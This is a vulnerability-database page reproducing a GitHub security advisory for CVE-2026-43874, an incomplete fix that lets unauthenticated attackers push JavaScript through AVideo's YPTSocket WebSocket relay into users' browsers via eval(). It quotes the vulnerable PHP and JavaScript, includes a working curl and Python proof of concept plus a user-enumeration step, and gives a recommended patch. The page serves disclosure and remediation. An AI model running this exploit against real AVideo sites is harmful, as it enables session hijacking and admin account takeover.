Skip to main content

PHP CVE-2026-43874

HIGH
Code Injection (CWE-94)
2026-05-05 https://github.com/WWBN/AVideo GHSA-ghcv-22jf-vfxm
7.2
CVSS 3.1 · GitHub Advisory
Share

Severity by source

GitHub Advisory PRIMARY
7.2 HIGH
AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N

Primary rating from GitHub Advisory · only source for this CVE.

CVSS VectorGitHub Advisory

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Changed
Confidentiality
Low
Integrity
Low
Availability
None

Lifecycle Timeline

2
Source Code Evidence Fetched
May 05, 2026 - 20:01 vuln.today
Analysis Generated
May 05, 2026 - 20:01 vuln.today

DescriptionGitHub Advisory

Summary

The server-side mitigation for the YPTSocket autoEvalCodeOnHTML eval sink (prior advisory GHSA-gph2-j4c9-vhhr, commit c08694bf6) only strips the payload when it sits under $json['msg'], but the relay function msgToResourceId() selects the outbound message from $msg['json'] *before* $msg['msg']. An unauthenticated attacker can obtain a WebSocket token from plugin/YPTSocket/getWebSocket.json.php, connect to the WebSocket server, and send a message with autoEvalCodeOnHTML nested under a top-level json field - the strip branch is skipped, the relay delivers the payload verbatim to any logged-in user identified by to_users_id, and the client script runs it through eval().

Details

Entry point (unauthenticated)

plugin/YPTSocket/getWebSocket.json.php (lines 1-21) issues a valid WebSocket token to any caller, with no authentication or CSRF check:

php
$obj->webSocketToken = getEncryptedInfo(0);
$obj->webSocketURL = YPTSocket::getWebSocketURL();
die(json_encode($obj));

getEncryptedInfo() defaults to sentFrom = 'browser' and a non-CLI flag (plugin/YPTSocket/functions.php:3-47), so a token minted for an anonymous browser client will cause the strip branch below to run - which is exactly what we want to audit.

Incomplete strip (the fix from commit c08694bf6)

plugin/YPTSocket/Message.php:236-247:

php
// Strip eval-able fields from browser/guest messages.
if (empty($msgObj->isCommandLineInterface) && ($msgObj->sentFrom ?? '') !== 'php') {
    if (is_array($json['msg'] ?? null)) {
        unset($json['msg']['autoEvalCodeOnHTML']);          // <-- only strips $json['msg']
    }
    if (isset($json['callback']) && !preg_match('/^[a-zA-Z_][a-zA-Z0-9_]*$/', (string)$json['callback'])) {
        unset($json['callback']);
    }
}

If the incoming $json['msg'] is a scalar (e.g. the string "x"), is_array(...) is false and the strip is skipped entirely. Any eval-able content that lives elsewhere in $json passes through untouched. The same flawed check exists in plugin/YPTSocket/MessageSQLiteV2.php:285-293.

Relay preference picks the untouched field

plugin/YPTSocket/Message.php:316-322 (and the mirror at MessageSQLiteV2.php:396-402):

php
if (!empty($msg['json'])) {
    $obj['msg'] = $msg['json'];          // <-- preferred carrier; never stripped
} else if (!empty($msg['msg'])) {
    $obj['msg'] = $msg['msg'];
} else {
    $obj['msg'] = $msg;
}

An attacker payload shaped as {"msg": "x", "json": {"autoEvalCodeOnHTML": "<js>"}, "to_users_id": <victim>} therefore:

  1. Passes switch ($json->msg) into the default case (Message.php:211, 228).
  2. msgToArray($json) converts to array. The strip branch enters because sentFrom === 'browser', but is_array("x") is false and the strip is skipped.
  3. Routing lands on msgToUsers_id($json, $json['to_users_id']) (Message.php:253), which for each matching resource calls msgToResourceId($msg, $resourceId) (Message.php:379).
  4. In msgToResourceId, !empty($msg['json']) is true, so $obj['msg'] becomes {"autoEvalCodeOnHTML": "<js>"} (Message.php:316-317).
  5. The shouldPropagateInfo() check at Message.php:287-289 only logs - it does not return - so delivery proceeds regardless.

Client-side sink

plugin/YPTSocket/script.js:573-575:

js
if (json.msg?.autoEvalCodeOnHTML !== undefined) {
    eval(json.msg.autoEvalCodeOnHTML);
}

Any logged-in user with an active browser tab runs the attacker-supplied JavaScript in the origin of the AVideo installation.

Routing to any user

msgToUsers_id() (Message.php:362-389) looks up to_users_id against $this->clientsUsersId and relays to every resource belonging to that user. Because to_users_id comes straight from attacker input, any currently connected user (regular or admin) can be targeted. Active users_id values can be enumerated via the existing getClientsList request handled at Message.php:219-224 using the same unauthenticated token.

PoC

Step 1 - mint an unauthenticated WebSocket token:

bash
curl -sk 'https://target/plugin/YPTSocket/getWebSocket.json.php'
# {"error":false,"webSocketToken":"<TOKEN>","webSocketURL":"wss://target:2053?webSocketToken=<TOKEN>&isCommandLine=0", ...}

Step 2 - connect and send the crafted message:

python
import json, ssl, websocket

TOKEN  = '<TOKEN>'
# from step 1
URL    = 'wss://target:2053?webSocketToken=' + TOKEN + '&isCommandLine=0'
VICTIM = 2
# any logged-in users_id with an open tab

ws = websocket.create_connection(URL, sslopt={'cert_reqs': ssl.CERT_NONE})
payload = {
    'msg': 'x',
# scalar -> strip branch skipped
    'webSocketToken': TOKEN,
    'json': {'autoEvalCodeOnHTML': "alert('XSS in '+document.domain)"},
    'to_users_id': VICTIM,
}
ws.send(json.dumps(payload))
ws.close()

Expected result: the victim's tab receives {"type":"DEFAULT_MESSAGE","msg":{"autoEvalCodeOnHTML":"alert(...)"}, ...} and executes the JavaScript via eval().

Optional Step 0 - enumerate active users (using the same token):

python
ws.send(json.dumps({'msg': 'getClientsList', 'webSocketToken': TOKEN}))
# response lists active users_id values

Impact

  • Unauthenticated XSS / arbitrary JS execution in any logged-in user's browser session. The victim only needs a tab open on the site - no click, no link, no CSRF.
  • Same-origin compromise: the attacker's JS runs in the target origin, so it can read DOM/tokens, make authenticated XHR calls on the victim's behalf, and exfiltrate session data.
  • Privilege escalation when an admin is targeted: arbitrary admin-panel actions via same-origin XHR - account takeover, plugin configuration changes, file uploads, etc.
  • Mass exploitation feasible: getClientsList (also reachable with the anonymous token) enumerates active users_id values, and the attacker can iterate to_users_id across all of them.
  • This is an incomplete fix for GHSA-gph2-j4c9-vhhr - deployments that patched to commit c08694bf6 remain exploitable.

Recommended Fix

Scrub autoEvalCodeOnHTML from every outbound carrier the relay may choose, not only from $json['msg']. Patch both plugin/YPTSocket/Message.php and plugin/YPTSocket/MessageSQLiteV2.php. For example, replace the current strip in onMessage():

php
if (empty($msgObj->isCommandLineInterface) && ($msgObj->sentFrom ?? '') !== 'php') {
    foreach (['msg', 'json'] as $k) {
        if (is_array($json[$k] ?? null)) {
            unset($json[$k]['autoEvalCodeOnHTML']);
        }
    }
    // also strip a top-level field so the fallback `$obj['msg'] = $msg` path is safe
    if (isset($json['autoEvalCodeOnHTML'])) {
        unset($json['autoEvalCodeOnHTML']);
    }
    if (isset($json['callback']) && !preg_match('/^[a-zA-Z_][a-zA-Z0-9_]*$/', (string)$json['callback'])) {
        unset($json['callback']);
    }
}

Additionally, harden the relay itself in msgToResourceId() (both files) so future regressions cannot reintroduce the sink - walk the chosen $obj['msg'] recursively and unset autoEvalCodeOnHTML whenever the message originated from a non-PHP, non-CLI client. As defense in depth, remove or gate the client-side eval(json.msg.autoEvalCodeOnHTML) at plugin/YPTSocket/script.js:573-575 behind a server-signed field rather than a plain JSON key.

AnalysisAI

Unauthenticated remote code execution in AVideo ≤29.0 allows attackers to inject and execute arbitrary JavaScript in the browsers of any logged-in users through a WebSocket message relay bypass. An attacker obtains a WebSocket token without authentication from plugin/YPTSocket/getWebSocket.json.php, connects to the WebSocket server, and sends a crafted message with autoEvalCodeOnHTML nested under the json field instead of msg. The incomplete server-side sanitization from prior fix c08694bf6 (GHSA-gph2-j4c9-vhhr) only strips autoEvalCodeOnHTML from $json['msg'], but the relay function msgToResourceId() preferentially selects $msg['json'] as the outbound message carrier. The payload bypasses sanitization, reaches the victim's browser via WebSocket relay, and executes through eval() at plugin/YPTSocket/script.js:573-575. Vendor-released patch: commit 9f3006f9a (recursive stripping across all message carriers). No public exploit identified at time of analysis, but the advisory includes functional proof-of-concept Python code.

More in PHP

View all
CVE-2012-1823 CRITICAL POC
9.8 May 11

sapi/cgi/cgi_main.c in PHP before 5.3.12 and 5.4.x before 5.4.2, when configured as a CGI script (aka php-cgi), does not

CVE-2016-1555 CRITICAL POC
9.8 Apr 21

(1) boardData102.php, (2) boardData103.php, (3) boardDataJP.php, (4) boardDataNA.php, and (5) boardDataWW.php in Netgear

CVE-2024-11680 CRITICAL POC
9.8 Nov 26

ProjectSend versions prior to r1720 are affected by an improper authentication vulnerability. Rated critical severity (C

CVE-2025-49113 CRITICAL POC
9.9 Jun 02

Roundcube Webmail contains a critical PHP object deserialization vulnerability (CVE-2025-49113, CVSS 9.9) that allows au

CVE-2017-9841 CRITICAL POC
9.8 Jun 27

Util/PHP/eval-stdin.php in PHPUnit before 4.8.28 and 5.x before 5.6.3 allows remote attackers to execute arbitrary PHP c

CVE-2025-0108 HIGH POC
8.8 Feb 12

Palo Alto Networks PAN-OS management web interface contains an authentication bypass allowing unauthenticated attackers

CVE-2021-25298 HIGH POC
8.8 Feb 15

Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re

CVE-2021-25296 HIGH POC
8.8 Feb 15

Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re

CVE-2013-4983 CRITICAL POC
10.0 Sep 10

The get_referers function in /opt/ws/bin/sblistpack in Sophos Web Appliance before 3.7.9.1 and 3.8 before 3.8.1.1 allows

CVE-2023-6553 CRITICAL POC
9.8 Dec 15

The Backup Migration plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 1

CVE-2024-46506 CRITICAL POC
10.0 May 13

NetAlertX (formerly PiAlert) versions 23.01.14 through 24.x before 24.10.12 allow unauthenticated command injection thro

CVE-2024-8353 CRITICAL POC
9.8 Sep 28

The GiveWP - Donation Plugin and Fundraising Platform plugin for WordPress is vulnerable to PHP Object Injection in all

Share

CVE-2026-43874 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy